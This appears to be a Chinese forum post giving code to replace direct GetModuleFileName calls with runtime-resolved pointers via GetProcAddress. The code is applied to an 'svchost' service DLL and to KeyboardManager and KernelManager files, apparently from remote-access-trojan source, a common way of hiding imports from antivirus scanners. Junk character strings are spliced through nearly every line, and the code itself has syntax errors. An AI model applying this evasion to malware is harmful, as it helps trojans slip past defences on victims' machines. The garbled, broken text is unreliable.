[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
8 y. }2 v/ J4 }svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h+ r' x6 P% n$ B( B
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% A( S! \) k, D3 O) @& g& sDTDY.h：/ C. |2 W% q7 I4 S% K/ l
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#if _MSC_VER>1000. I. n/ m, N: B
#pragma once
0 C" A6 k# G( d/ x/ ^#endif //_MSC_VER>10005 B( Z$ }- X3 b7 l1 t1 \1 y
#include<windows.h>
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$ D. s3 Z3 m/ |! J: c, f2 ztypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);1 V) P  u0 N: D% s
class DTDY& `( B) l; `$ V$ d: W
{# N& a7 P! c! ]# W* }' V
public:
+ j8 b8 m+ P7 z% u5 fDTDY();; l( t( W8 H) {2 V7 \- S& }
virtual ~DTDY();
/ W: f& n7 ?- B; @public:
- H% w5 K+ T5 astatic pGetModuleFileNameA MyGetModuleFileName;
  v: E/ h8 v$ |" O/ Hstatic BOOL FunInitiallization();- C# y& _/ F: q( I
};
: A* D3 X% B& f. M#endif
+ F7 Q$ d3 L+ t0 E----------------------------------------
: A5 j5 l" _* {* [0 \2 s
8 o  f2 W5 m1 @/ g& ]DTDY.cpp:& K( E. y4 @$ N; L3 h1 d
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#include "DTDY.h"
; Z# H4 c! r: g' w7 d3 y; lpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;$ ?9 b/ O8 d& y" L" S
DTDY:TDY()
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}
2 l" s3 X2 E8 j8 t: s2 ^8 Q3 yDTDY::~DTDY()/ a3 ?! v, S/ c5 p0 ~0 j
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BOOL DTDY::FunInitiallization(): @5 v! e  A8 v4 z, ~
{
5 d5 [  a5 c/ e: d+ p6 U( Y/ J. OHMODULE hModule=LoadLibrary("kernel32.dll");
+ P6 I6 e/ h4 t. aMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");1 N. l, R, d* z9 K9 q
if(!MyGetModuleFileName=) return FALSE;' u3 n4 ~: b% h: z
: L& ~" U- c& Q" R7 {
return TRUE;
9 {+ ?) S8 J/ L% |* B5 }' ]' R}
8 o5 V* L. z$ m- K6 R----------------------------------------# U. B' z6 Y( c3 [8 w
svchost.cpp:4 }& v* s( z* e( M8 c

$ K) Q/ R# u3 }: w#include "DTDY.h"% m2 V  W. L( X
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)9 a! y0 E4 |( x7 k! T2 `1 O9 X0 R
{
% l  F3 l: q7 x) q+ L9 i- ?switch(ul_reason_for_call)
% v; T# J+ H$ T6 T; F. f4 {{
% o% w5 n, Z7 r# [8 r; Ecase DLL_PROCESS_ATTACH:
! x% ^: T* e! Vif(!DTDY::FunInitiallization()) return FALSE;
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break;4 E* e* ?2 W3 U; H! B8 ~
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}; \4 \/ r' x% T: v5 D4 ^$ |
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3 S0 A) e( s& C% q) u3 b2 L& B1 G( D! IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def' p/ B$ i+ U8 n. N
改写为
% i# O0 z' I) KDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));- w1 `! e& g, W5 U* x
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& t  B$ ]2 {" m* _( _: NKernelManager.cpp:
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#include "../DTDY.h"- c, _" L0 ^$ r7 ~6 P
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));  e5 A( ]) w% @. A) x) i
改写为
4 {% X; E5 @6 W0 P/ C6 ~DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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